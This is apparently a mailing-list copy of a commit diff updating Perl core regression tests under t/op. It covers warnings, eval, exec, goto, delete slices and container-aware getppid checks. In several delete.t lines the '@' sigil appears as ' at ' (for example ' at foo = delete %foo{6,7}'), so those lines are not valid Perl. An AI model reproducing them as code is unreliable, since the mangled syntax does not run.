+    like ($warnings[0], qr /^Use of strings with code points over 0xFF as (?#
+                            )arguments to bitwise and \(&\) operator (?#
+                            )is deprecated/,
+                        "... which is the expected warning");
+    undef @warnings;
+    is("abc\x{100}" | "abc", "abc\x{100}", '"abc\x{100}" | "abc" works');
+    if (! is(@warnings, 1, "... but returned a single warning")) {
+        diag join "\n", @warnings;
+    }
+    like ($warnings[0], qr /^Use of strings with code points over 0xFF as (?#
+                            )arguments to bitwise or \(|\) operator (?#
+                            )is deprecated/,
+                        "... which is the expected warning");
+    undef @warnings;
+    is("abc\x{100}" ^ "abc", "\0\0\0\x{100}", '"abc\x{100}" ^ "abc" works');
+    if (! is(@warnings, 1, "... but returned a single warning")) {
+        diag join "\n", @warnings;
+    }
+    like ($warnings[0], qr /^Use of strings with code points over 0xFF as (?#
+                            )arguments to bitwise xor \(\^\) operator (?#
+                            )is deprecated/,
+                        "... which is the expected warning");
+    no warnings 'deprecated';
+    undef @warnings;
+    my $foo = "abc" & "abc\x{100}";
+    $foo = "abc" | "abc\x{100}";
+    $foo = "abc" ^ "abc\x{100}";
+    $foo = "abc\x{100}" & "abc";
+    $foo = "abc\x{100}" | "abc";
+    $foo = "abc\x{100}" ^ "abc";
+    if (! is(@warnings, 0, "... And none of the last 6 main tests warns when 'deprecated' is off")) {
+        diag join "\n", @warnings;
+    }
+}

Modified: vendor/perl/dist/t/op/caller.t
===================================================================
--- vendor/perl/dist/t/op/caller.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/caller.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
     chdir 't' if -d 't';
     require './test.pl';
     set_up_inc('../lib');
-    plan( tests => 100 ); # some tests are run in a BEGIN block
+    plan( tests => 97 ); # some tests are run in a BEGIN block
 }
 
 my @c;
@@ -99,31 +99,13 @@
 
 {
     no warnings;
-    # Build the warnings mask dynamically
-    my ($default, $registered);
-    BEGIN {
-	for my $i (0..$warnings::LAST_BIT/2 - 1) {
-	    vec($default, $i, 2) = 1;
-	}
-	$registered = $default;
-	vec($registered, $warnings::LAST_BIT/2, 2) = 1;
-    }
-
     BEGIN { check_bits( ${^WARNING_BITS}, "\0" x $warnings::BYTES, 'all bits off via "no warnings"' ) }
     testwarn("\0" x $warnings::BYTES, 'no bits');
 
     use warnings;
-    BEGIN { check_bits( ${^WARNING_BITS}, $default,
+    BEGIN { check_bits( ${^WARNING_BITS}, "\x55" x $warnings::BYTES,
 			'default bits on via "use warnings"' ); }
-    BEGIN { testwarn($default, 'all'); }
-    # run-time :
-    # the warning mask has been extended by warnings::register
-    testwarn($registered, 'ahead of w::r');
-
-    use warnings::register;
-    BEGIN { check_bits( ${^WARNING_BITS}, $registered,
-			'warning bits on via "use warnings::register"' ) }
-    testwarn($registered, 'following w::r');
+    testwarn("\x55" x $warnings::BYTES, 'all');
 }
 
 

Added: vendor/perl/dist/t/op/catch.t
===================================================================
--- vendor/perl/dist/t/op/catch.t	                        (rev 0)
+++ vendor/perl/dist/t/op/catch.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,50 @@
+#!perl
+
+BEGIN {
+    chdir 't' if -d 't';
+    require './test.pl';
+    set_up_inc('../lib');
+}
+
+use warnings;
+use strict;
+
+plan 12;
+
+{
+    package EvalOnFetch;
+    sub TIESCALAR { bless \(my $z = $_[1]), $_[0] }
+    sub FETCH { eval ${$_[0]} // "died" }
+}
+
+tie my $begindie, "EvalOnFetch", "BEGIN { die } 123";
+is "$begindie", "died";
+tie my $unitcheckdie, "EvalOnFetch", "UNITCHECK { die } 123";
+is "$unitcheckdie", "died";
+tie my $rundie, "EvalOnFetch", "die; 123";
+is "$rundie", "died";
+tie my $runok, "EvalOnFetch", "123";
+is "$runok", 123;
+
+eval { undef };
+is eval "BEGIN { die } 123", undef;
+is eval "UNITCHECK { die } 123", undef;
+is eval "die; 123", undef;
+is eval "123", 123;
+
+{
+    package TryOnFetch;
+    sub TIESCALAR { bless \(my $z = $_[1]), $_[0] }
+    sub FETCH { eval { ${$_[0]} ? die : undef; 123 } // "died" }
+}
+
+tie my $trydie, "TryOnFetch", 1;
+is "$trydie", "died";
+tie my $tryok, "TryOnFetch", 0;
+is "$tryok", 123;
+
+eval { undef };
+is do { eval { die; 123 } }, undef;
+is do { eval { undef; 123 } }, 123;
+
+1;

Modified: vendor/perl/dist/t/op/chdir.t
===================================================================
--- vendor/perl/dist/t/op/chdir.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/chdir.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
     set_up_inc(qw(t . lib ../lib));
 }
 
-plan(tests => 48);
+plan(tests => 44);
 
 use Config;
 use Errno qw(ENOENT EBADF EINVAL);
@@ -55,7 +55,7 @@
 $Cwd = abs_path;
 
 SKIP: {
-    skip("no fchdir", 23) unless $has_fchdir;
+    skip("no fchdir", 19) unless $has_fchdir;
     my $has_dirfd = ($Config{d_dirfd} || $Config{d_dir_dd_fd} || "") eq "define";
     ok(opendir(my $dh, "."), "opendir .");
     ok(open(my $fh, "<", "op"), "open op");
@@ -86,26 +86,7 @@
     }
     ok(-d "op", "verify that we are back");
 
-    # And now the ambiguous case
-    {
-	no warnings qw<io deprecated>;
-	ok(opendir(H, "op"), "opendir op") or diag $!;
-	ok(open(H, "<", "base"), "open base") or diag $!;
-    }
-    if ($has_dirfd) {
-	ok(chdir(H), "fchdir to op");
-	ok(-f "chdir.t", "verify that we are in 'op'");
-	chdir ".." or die $!;
-    }
-    else {
-	eval { chdir(H); };
-	like($@, qr/^The dirfd function is unimplemented at/,
-	     "dirfd is unimplemented");
-	SKIP: {
-	    skip("dirfd is unimplemented");
-	}
-    }
-    ok(closedir(H), "closedir");
+    ok(open(H, "<", "base"), "open base") or diag $!;
     ok(chdir(H), "fchdir to base");
     ok(-f "cond.t", "verify that we are in 'base'");
     ok(close(H), "close");

Modified: vendor/perl/dist/t/op/chop.t
===================================================================
--- vendor/perl/dist/t/op/chop.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/chop.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -249,26 +249,28 @@
     ok(1, "extend sp in pp_chomp");
 }
 
-{
+SKIP: {
     # [perl #73246] chop doesn't support utf8
     # the problem was UTF8_IS_START() didn't handle perl's extended UTF8
+    # The first code point that failed was 0x80000000, which is now illegal on
+    # 32-bit machines.
 
-    no warnings 'deprecated'; # This is above IV_MAX on 32 bit machines
-    my $utf = "\x{80000001}\x{80000000}";
+    use Config;
+    ($Config{ivsize} > 4)
+        or skip("this build can't handle very large characters", 4);
+
+    # Use chr instead of \x{} so doesn't try to compile these on 32-bit
+    # machines, which would crash
+    my $utf = chr(0x80000001) . chr(0x80000000);
     my $result = chop($utf);
-    is($utf, "\x{80000001}", "chopping high 'unicode'- remnant");
-    is($result, "\x{80000000}", "chopping high 'unicode' - result");
+    is($utf, chr(0x80000001), "chopping high 'unicode'- remnant");
+    is($result, chr(0x80000000), "chopping high 'unicode' - result");
 
-    SKIP: {
-        no warnings 'overflow'; # avoid compile-time warnings below on 32-bit architectures
-        use Config;
-        $Config{ivsize} >= 8
-	  or skip("this build can't handle very large characters", 2);
-        my $utf = "\x{ffffffffffffffff}\x{fffffffffffffffe}";
-        my $result = chop $utf;
-        is($utf, "\x{ffffffffffffffff}", "chop even higher 'unicode' - remnant");
-        is($result, "\x{fffffffffffffffe}", "chop even higher 'unicode' - result");
-    }
+    no warnings;
+    $utf = chr(0x7fffffffffffffff) . chr(0x7ffffffffffffffe);
+    $result = chop($utf);
+    is($utf, chr(0x7fffffffffffffff), "chop even higher 'unicode'- remnant");
+    is($result, chr(0x7ffffffffffffffe), "chop even higher 'unicode' - result");
 }
 
 $/ = "\n";

Modified: vendor/perl/dist/t/op/closure.t
===================================================================
--- vendor/perl/dist/t/op/closure.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/closure.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -168,7 +168,7 @@
 {
     use strict;
 
-    use vars qw!$test!;
+    our $test;
     my($debugging, %expected, $inner_type, $where_declared, $within);
     my($nc_attempt, $call_outer, $call_inner, $undef_outer);
     my($code, $inner_sub_test, $expected, $line, $errors, $output);
@@ -611,7 +611,7 @@
 }
 
 {
-   # bugid #23265 - this used to coredump during destruction of PL_maincv
+   # bugid #23265 - this used to coredump during destruction of PL_main_cv
    # and its children
 
     fresh_perl_is(<< '__EOF__', "yxx\n", {stderr => 1}, 'RT #23265');

Modified: vendor/perl/dist/t/op/concat2.t
===================================================================
--- vendor/perl/dist/t/op/concat2.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/concat2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
     set_up_inc('../lib');
 }
 
-plan 2;
+plan 3;
 
 # This test is in the file because overload.pm uses concatenation.
 { package o; use overload '""' => sub { $_[0][0] } }
@@ -23,6 +23,19 @@
 $x.= chr 257;
 is $x, "\xff\x{101}\x{101}", '.= is not confused by changing utf8ness';
 
+# RT #132385
+# in multiconcat, each const TEMP used for overloading should be distinct
+
+package RT132385 {
+    my @a;
+    use overload '.' => sub { push @a, \$_[1]; $_[0] };
+    my $o = bless [];
+    my $x = $o . "A" . $o . 'B';
+    ::is "${$a[0]}${$a[2]}", "AB", "RT #132385";
+}
+
+
+
 # Ops should not share the same TARG between recursion levels.  This may
 # affect other ops, too, but concat seems more susceptible to this than
 # others, since it can call itself recursively.  (Where else would I put

Modified: vendor/perl/dist/t/op/coreamp.t
===================================================================
--- vendor/perl/dist/t/op/coreamp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/coreamp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -639,7 +639,7 @@
 
   my %h = 1..2;
   &mykeys(\%h) = 1024;
-  like Hash::Util::bucket_ratio(%h), qr|/1024\z|, '&mykeys = changed number of buckets allocated';
+  like Hash::Util::bucket_ratio(%h), qr!/(?:1024|2048)\z!, '&mykeys = changed number of buckets allocated';
   eval { (&mykeys(\%h)) = 1025; };
   like $@, qr/^Can't modify keys in list assignment at /;
 }
@@ -881,7 +881,7 @@
   my $prev = select;
   is &myselect(my $fh), $prev, '&select($arg) retval';
   is lc ref $fh, 'glob', '&select autovivifies';
-  is select=~s/\*//rug, (*$fh."")=~s/\*//rug, '&select selects';
+  is select, $fh, '&select selects';
   select $prev;
 }
 eval { &myselect(1,2) };

Modified: vendor/perl/dist/t/op/delete.t
===================================================================
--- vendor/perl/dist/t/op/delete.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/delete.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc( qw(. ../lib) );
 }
 
-plan( tests => 38 );
+plan( tests => 56 );
 
 # delete() on hash elements
 
@@ -15,6 +15,8 @@
 $foo{3} = 'c';
 $foo{4} = 'd';
 $foo{5} = 'e';
+$foo{6} = 'f';
+$foo{7} = 'g';
 
 $foo = delete $foo{2};
 
@@ -35,6 +37,18 @@
 cmp_ok($foo{1},'eq','a','a still exists');
 cmp_ok($foo{3},'eq','c','c still exists');
 
+ at foo = delete %foo{6,7};
+
+cmp_ok(scalar(@foo),'==',4,'deleted kvslice');
+cmp_ok($foo[0],'eq','6','slice k1');
+cmp_ok($foo[1],'eq','f','slice v1');
+cmp_ok($foo[2],'eq','7','slice k2');
+cmp_ok($foo[3],'eq','g','slice v2');
+ok(!(exists $foo{5}),'f absent');
+ok(!(exists $foo{6}),'g absent');
+cmp_ok($foo{1},'eq','a','a still exists');
+cmp_ok($foo{3},'eq','c','c still exists');
+
 $foo = join('',values(%foo));
 ok($foo eq 'ac' || $foo eq 'ca','remaining keys');
 
@@ -73,6 +87,8 @@
 $foo[3] = 'c';
 $foo[4] = 'd';
 $foo[5] = 'e';
+$foo[6] = 'f';
+$foo[7] = 'g';
 
 $foo = delete $foo[2];
 
@@ -93,6 +109,18 @@
 cmp_ok($foo[1],'eq','a','ary a still exists');
 cmp_ok($foo[3],'eq','c','ary c still exists');
 
+ at bar = delete %foo[6,7];
+
+cmp_ok(scalar(@bar),'==',4,'deleted kvslice');
+cmp_ok($bar[0],'eq','6','slice k1');
+cmp_ok($bar[1],'eq','f','slice v1');
+cmp_ok($bar[2],'eq','7','slice k2');
+cmp_ok($bar[3],'eq','g','slice v2');
+ok(!(exists $bar[5]),'f absent');
+ok(!(exists $bar[6]),'g absent');
+cmp_ok($foo[1],'eq','a','a still exists');
+cmp_ok($foo[3],'eq','c','c still exists');
+
 $foo = join('', at foo);
 cmp_ok($foo,'eq','ac','ary elems');
 cmp_ok(scalar(@foo),'==',4,'four is the number thou shalt count');

Modified: vendor/perl/dist/t/op/do.t
===================================================================
--- vendor/perl/dist/t/op/do.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/do.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,6 +7,7 @@
 }
 use strict;
 no warnings 'void';
+use Errno qw(ENOENT EISDIR);
 
 my $called;
 my $result = do{ ++$called; 'value';};
@@ -247,7 +248,7 @@
     my $saved_errno = $!;
     ok(!$rv,          "do returns false on io errror");
     ok(!$saved_error, "\$\@ not set on io error");
-    ok($saved_errno,  "\$! set on io error");
+    ok($saved_errno == ENOENT, "\$! is ENOENT for nonexistent file");
 }
 
 # do subname should not be do "subname"
@@ -305,4 +306,15 @@
 }
 
 
+# do file $!s must be correct
+{
+    local @INC = ('.'); #want EISDIR not ENOENT
+    my $rv = do 'op'; # /t/op dir
+    my $saved_error = $@;
+    my $saved_errno = $!+0;
+    ok(!$rv,                    "do dir returns false");
+    ok(!$saved_error,           "\$\@ is false on do dir");
+    ok($saved_errno == EISDIR,  "\$! is EISDIR on do dir");
+}
+
 done_testing();

Modified: vendor/perl/dist/t/op/each_array.t
===================================================================
--- vendor/perl/dist/t/op/each_array.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/each_array.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 }
 use strict;
 use warnings;
-use vars qw(@array @r $k $v $c);
+our (@array, @r, $k, $v, $c);
 
 plan tests => 65;
 

Modified: vendor/perl/dist/t/op/eval.t
===================================================================
--- vendor/perl/dist/t/op/eval.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/eval.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc('../lib');
 }
 
-plan(tests => 134);
+plan(tests => 140);
 
 eval 'pass();';
 
@@ -665,3 +665,35 @@
     sub { $s; DB::f127786}->();
     pass("RT #127786");
 }
+
+# Late calling of destructors overwriting $@.
+# When leaving an eval scope (either by falling off the end or dying),
+# we must ensure that any temps are freed before the end of the eval
+# leave: in particular before $@ is set (to either "" or the error),
+# because otherwise the tmps freeing may call a destructor which
+# will change $@ (e.g. due to a successful eval) *after* its been set.
+# Some extra nested scopes are included in the tests to ensure they don't
+# affect the tmps freeing.
+
+{
+    package TMPS;
+    sub DESTROY { eval { die "died in DESTROY"; } } # alters $@
+
+    eval { { 1; { 1; bless []; } } };
+    ::is ($@, "", "FREETMPS: normal try exit");
+
+    eval q{ { 1; { 1; bless []; } } };
+    ::is ($@, "", "FREETMPS: normal string eval exit");
+
+    eval { { 1; { 1; return bless []; } } };
+    ::is ($@, "", "FREETMPS: return try exit");
+
+    eval q{ { 1; { 1; return bless []; } } };
+    ::is ($@, "", "FREETMPS: return string eval exit");
+
+    eval { { 1; { 1; my $x = bless []; die $x = 0, "die in eval"; } } };
+    ::like ($@, qr/die in eval/, "FREETMPS: die try exit");
+
+    eval q{ { 1; { 1; my $x = bless []; die $x = 0, "die in eval"; } } };
+    ::like ($@, qr/die in eval/, "FREETMPS: die eval string exit");
+}

Modified: vendor/perl/dist/t/op/exec.t
===================================================================
--- vendor/perl/dist/t/op/exec.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/exec.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -36,7 +36,7 @@
 my $Is_VMS   = $^O eq 'VMS';
 my $Is_Win32 = $^O eq 'MSWin32';
 
-plan(tests => 25);
+plan(tests => 41);
 
 my $Perl = which_perl();
 
@@ -114,7 +114,7 @@
 unless ( ok( $! == 2  or  $! =~ /\bno\b.*\bfile/i or  
              $! == 13 or  $! =~ /permission denied/i or
              $! == 22 or  $! =~ /invalid argument/i  ) ) {
-    printf "# \$! eq %d, '%s'\n", $!, $!;
+    diag sprintf "\$! eq %d, '%s'\n", $!, $!;
 }
 
 
@@ -128,8 +128,29 @@
   END
 
 {
-    local $_ = qq($Perl -le "print 'ok'");
-    is( readpipe, "ok\n", 'readpipe default argument' );
+    sub rpecho { qq($Perl -le "print '$_[0]'") }
+    is scalar(readpipe(rpecho("b"))), "b\n",
+	"readpipe with one argument in scalar context";
+    is join(",", "a", readpipe(rpecho("b")), "c"), "a,b\n,c",
+	"readpipe with one argument in list context";
+    local $_ = rpecho("f");
+    is scalar(readpipe), "f\n",
+	"readpipe default argument in scalar context";
+    is join(",", "a", readpipe, "c"), "a,f\n,c",
+	"readpipe default argument in list context";
+    sub rpechocxt {
+	rpecho(wantarray ? "list" : defined(wantarray) ? "scalar" : "void");
+    }
+    is scalar(readpipe(rpechocxt())), "scalar\n",
+	"readpipe argument context in scalar context";
+    is join(",", "a", readpipe(rpechocxt()), "b"), "a,scalar\n,b",
+	"readpipe argument context in list context";
+    foreach my $args ("(\$::p,\$::q)", "((\$::p,\$::q))") {
+	foreach my $lvalue ("my \$r", "my \@r") {
+	    eval("$lvalue = readpipe$args if 0");
+	    like $@, qr/\AToo many arguments for /;
+	}
+    }
 }
 
 package o {
@@ -156,6 +177,38 @@
         "exec failure doesn't terminate process");
 }
 
+{
+    local $! = 0;
+    ok !exec(), 'empty exec LIST fails';
+    ok $! == 2 || $! =~ qr/\bno\b.*\bfile\b/i, 'errno = ENOENT'
+        or diag sprintf "\$! eq %d, '%s'\n", $!, $!;
+
+}
+{
+    local $! = 0;
+    my $err = $!;
+    ok !(exec {""} ()), 'empty exec PROGRAM LIST fails';
+    ok $! == 2 || $! =~ qr/\bno\b.*\bfile\b/i, 'errno = ENOENT'
+        or diag sprintf "\$! eq %d, '%s'\n", $!, $!;
+}
+
+package CountRead {
+    sub TIESCALAR { bless({ n => 0 }, $_[0]) }
+    sub FETCH { ++$_[0]->{n} }
+}
+my $cr;
+tie $cr, "CountRead";
+my $exit_statement = "exit(\$ARGV[0] eq '1' ? 0 : 1)";
+$exit_statement = qq/"$exit_statement"/ if $^O eq 'VMS';
+is system($^X, "-e", $exit_statement, $cr), 0,
+    "system args have magic processed exactly once";
+is tied($cr)->{n}, 1, "system args have magic processed before fork";
+
+$exit_statement = "exit(\$ARGV[0] eq \$ARGV[1] ? 0 : 1)";
+$exit_statement = qq/"$exit_statement"/ if $^O eq 'VMS';
+is system($^X, "-e", $exit_statement, "$$", $$), 0,
+    "system args have magic processed before fork";
+
 my $test = curr_test();
 exec $Perl, '-le', qq{${quote}print 'ok $test - exec PROG, LIST'${quote}};
 fail("This should never be reached if the exec() worked");

Modified: vendor/perl/dist/t/op/filetest.t
===================================================================
--- vendor/perl/dist/t/op/filetest.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/filetest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
     set_up_inc(qw '../lib ../cpan/Perl-OSType/lib');
 }
 
-plan(tests => 53 + 27*14);
+plan(tests => 57 + 27*14);
 
 if ($^O =~ /MSWin32|cygwin|msys/ && !is_miniperl) {
   require Win32; # for IsAdminUser()
@@ -222,22 +222,6 @@
     is( $rv,        "-$op",         "correct return value for overloaded -$op");
 
     my ($exp, $is) = (1, "is");
-    if (
-	(
-	  !$fcntl_not_available and
-	  (
-	    $op eq "u" and not eval { Fcntl::S_ISUID() } or
-	    $op eq "g" and not eval { Fcntl::S_ISGID() } or
-	    $op eq "k" and not eval { Fcntl::S_ISVTX() }
-	  )
-	)
-	||
-	# the Fcntl test is meaningless in miniperl and
-	# S_ISVTX isn't available on Win32
-	( $^O eq 'MSWin32' && $op eq 'k' && is_miniperl )
-    ) {
-        ($exp, $is) = (0, "not");
-    }
 
     $over = 0;
     $rv = eval "-$op \$str";
@@ -393,3 +377,11 @@
     is $failed_stat2, $failed_stat1,
 	'failed -r($gv_with_io_but_no_fp) with and w/out fatal warnings';
 } 
+
+{
+    # [perl #131895] stat() doesn't fail on filenames containing \0 / NUL
+    ok(!-T "TEST\0-", '-T on name with \0');
+    ok(!-B "TEST\0-", '-B on name with \0');
+    ok(!-f "TEST\0-", '-f on name with \0');
+    ok(!-r "TEST\0-", '-r on name with \0');
+}

Modified: vendor/perl/dist/t/op/filetest_stack_ok.t
===================================================================
--- vendor/perl/dist/t/op/filetest_stack_ok.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/filetest_stack_ok.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
 
 my @ops = split //, 'rwxoRWXOezsfdlpSbctugkTMBAC';
 
-plan( tests => @ops * 5 );
+plan( tests => @ops * 5 + 1 );
 
 package o { use overload '-X' => sub { 1 } }
 my $o = bless [], 'o';
@@ -47,3 +47,9 @@
     my @foo = eval "-$op \$o";
     is @foo, 1, "-$op \$overld did not leave \$overld on the stack";
 }
+
+{
+    # [perl #129347] cope with stacked filetests where PL_op->op_next is null
+    () = sort { -d -d } \*TEST0, \*TEST1;
+    ok 1, "survived stacked filetests with null op_next";
+}

Modified: vendor/perl/dist/t/op/fork.t
===================================================================
--- vendor/perl/dist/t/op/fork.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/fork.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,7 +22,7 @@
     skip "This test can only be run under bash or zsh"
         unless $shell =~ m{/(?:ba|z)sh$};
     my $probe = qx{
-        $shell -c 'ulimit -u 1 2>&1 && echo good'
+        $shell -c 'ulimit -u 1 2>/dev/null && echo good'
     };
     chomp $probe;
     skip "Can't set ulimit -u on this system: $probe"

Modified: vendor/perl/dist/t/op/getppid.t
===================================================================
--- vendor/perl/dist/t/op/getppid.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/getppid.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,6 +6,9 @@
 # standard way to find out what it is, so the only portable way to go it so
 # attempt 2 reparentings and see if the PID both orphaned grandchildren get is
 # the same. (and not ours)
+#
+# NOTE: Docker and Linux containers set parent to 0 on orphaned tests.
+# We have to adjust to this below.
 
 BEGIN {
     chdir 't' if -d 't';
@@ -34,8 +37,10 @@
 	die "Garbled output '$_'"
 	    unless my ($how, $first, $second) = /^([a-z]+),(\d+),(\d+)\z/;
 	cmp_ok ($first, '>=', 1, "Parent of $which grandchild");
-	my $message = "grandchild waited until '$how'";
-	cmp_ok ($second, '>=', 1, "New parent of orphaned $which grandchild")
+
+    my $message = "grandchild waited until '$how'";
+    my $min_getppid_result = is_linux_container() ? 0 : 1;
+	cmp_ok ($second, '>=', $min_getppid_result, "New parent of orphaned $which grandchild")
 	    ? note ($message) : diag ($message);
 
 	SKIP: {
@@ -111,3 +116,17 @@
     is ($first, $second, "Both orphaned grandchildren get the same new parent");
 }
 isnt ($first, $$, "And that new parent isn't this process");
+
+# Orphaned Docker or Linux containers do not necessarily attach to PID 1. They might attach to 0 instead.
+sub is_linux_container {
+
+    if ($^O eq 'linux' && open my $fh, '<', '/proc/1/cgroup') {
+        while(<$fh>) {
+            if (m{^\d+:pids:(.*)} && $1 ne '/init.scope') {
+                return 1;
+            }
+        }
+    }
+
+    return 0;
+}

Modified: vendor/perl/dist/t/op/gmagic.t
===================================================================
--- vendor/perl/dist/t/op/gmagic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/gmagic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -64,11 +64,13 @@
 {
     my $outfile = tempfile();
     open my $h, ">$outfile" or die  "$0 cannot close $outfile: $!";
+    binmode $h;
     print $h "bar\n";
     close $h or die "$0 cannot close $outfile: $!";    
 
     $c = *foo;                                         # 1 write
     open $h, $outfile;
+    binmode $h;
     sysread $h, $c, 3, 7;                              # 1 read; 1 write
     is $c, "*main::bar", 'what sysread wrote';         # 1 read
     expected_tie_calls(tied $c, 2, 2, 'calling sysread with tied buf');
@@ -190,6 +192,29 @@
      'mortal magic var from do is copied';
 }
 
+# For better or worse, the order in which concat args are fetched varies
+# depending on their number. In A .= B.C.D, they are fetched in the order
+# BCDA, while for A .= B, the order is AB (so for a single concat, the LHS
+# tied arg is FETCH()ed first). Make sure multiconcat preserves current
+# behaviour.
+
+package Increment {
+    sub TIESCALAR {  bless [0, 0] }
+    # returns a new value for each FETCH, until the first STORE
+    sub FETCH { my $x = $_[0][0]; $_[0][0]++ unless $_[0][1]; $x }
+    sub STORE { @{$_[0]} = ($_[1],1) }
+
+    my $t;
+    tie $t, 'Increment';
+    my $r;
+    $r = $t . $t;
+    ::is $r, '01', 'Increment 01';
+    $r = "-$t-$t-$t-";
+    ::is $r, '-2-3-4-', 'Increment 234';
+    $t .= "-$t-$t-$t-";
+    ::is $t, '8-5-6-7-', 'Increment 8567';
+}
+
 done_testing();
 
 # adapted from Tie::Counter by Abigail

Modified: vendor/perl/dist/t/op/goto.t
===================================================================
--- vendor/perl/dist/t/op/goto.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/goto.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 
 use warnings;
 use strict;
-plan tests => 100;
+plan tests => 124;
 our $TODO;
 
 my $deprecated = 0;
@@ -810,3 +810,77 @@
 }
 is eval { join(":", sort revnumcmp (9,5,1,3,7)) }, "9:7:5:3:1",
   "can goto at top level of multicalled sub";
+
+# A bit strange, but goingto these constructs should not cause any stack
+# problems.  Let’s test them to make sure that is the case.
+no warnings 'deprecated';
+is \sub :lvalue { goto d; ${*{scalar(do { d: \*foo })}} }->(), \$foo,
+   'goto into rv2sv, rv2gv and scalar';
+is sub { goto e; $#{; do { e: \@_ } } }->(1..7), 6,
+   'goto into $#{...}';
+is sub { goto f; prototype \&{; do { f: sub ($) {} } } }->(), '$',
+   'goto into srefgen, prototype and rv2cv';
+is sub { goto g; ref do { g: [] } }->(), 'ARRAY',
+   'goto into ref';
+is sub { goto j; defined undef ${; do { j: \(my $foo = "foo") } } }->(),'',
+   'goto into defined and undef';
+is sub { goto k; study ++${; do { k: \(my $foo = "foo") } } }->(),'1',
+   'goto into study and preincrement';
+is sub { goto l; ~-!${; do { l: \(my $foo = 0) } }++ }->(),~-1,
+   'goto into complement, not, negation and postincrement';
+like sub { goto n; sin cos exp log sqrt do { n: 1 } }->(),qr/^0\.51439/,
+   'goto into sin, cos, exp, log, and sqrt';
+ok sub { goto o; srand do { o: 0 } }->(),
+   'goto into srand';
+cmp_ok sub { goto p; rand do { p: 1 } }->(), '<', 1,
+   'goto into rand';
+is sub { goto r; chr ord length int hex oct abs do { r: -15.5 } }->(), 2,
+   'goto into chr, ord, length, int, hex, oct and abs';
+is sub { goto t; ucfirst lcfirst uc lc do { t: "q" } }->(), 'Q',
+   'goto into ucfirst, lcfirst, uc and lc';
+{ no strict;
+  is sub { goto u; \@{; quotemeta do { u: "." } } }->(), \@{'\.'},
+   'goto into rv2av and quotemeta';
+}
+is join(" ",sub { goto v; %{; do { v: +{1..2} } } }->()), '1 2',
+   'goto into rv2hv';
+is join(" ",sub { goto w; $_ || do { w: "w" } }->()), 'w',
+   'goto into rhs of or';
+is join(" ",sub { goto x; $_ && do { x: "w" } }->()), 'w',
+   'goto into rhs of and';
+is join(" ",sub { goto z; $_ ? do { z: "w" } : 0 }->()), 'w',
+   'goto into first leg of ?:';
+is join(" ",sub { goto z; $_ ? 0 : do { z: "w" } }->()), 'w',
+   'goto into second leg of ?:';
+is sub { goto z; caller do { z: 0 } }->(), 'main',
+   'goto into caller';
+is sub { goto z; exit do { z: return "foo" } }->(), 'foo',
+   'goto into exit';
+is sub { goto z; eval do { z: "'foo'" } }->(), 'foo',
+   'goto into eval';
+TODO: {
+    local $TODO = "glob() does not currently return a list on VMS" if $^O eq 'VMS';
+    is join(",",sub { goto z; glob do { z: "foo bar" } }->()), 'foo,bar',
+       'goto into glob';
+}
+# [perl #132799]
+# Erroneous inward goto warning, followed by crash.
+# The eval must be in an assignment.
+sub _routine {
+    my $e = eval {
+        goto L2;
+      L2:
+    }
+}
+_routine();
+pass("bug 132799");
+
+# [perl #132854]
+# Goto the *first* parameter of a binary expression, which is harmless.
+eval {
+    goto __GEN_2;
+    my $sent = do {
+        __GEN_2:
+    };
+};
+is $@,'', 'goto the first parameter of a binary expression [perl #132854]';

Modified: vendor/perl/dist/t/op/goto_xs.t
===================================================================
--- vendor/perl/dist/t/op/goto_xs.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/goto_xs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,7 +18,7 @@
 }
 use strict;
 use warnings;
-use vars '$VALID';
+my $VALID;
 
 plan(tests => 11);
 

Modified: vendor/perl/dist/t/op/gv.t
===================================================================
--- vendor/perl/dist/t/op/gv.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/gv.t	2018-12-22 22:55:19 UTC (rev 12126)
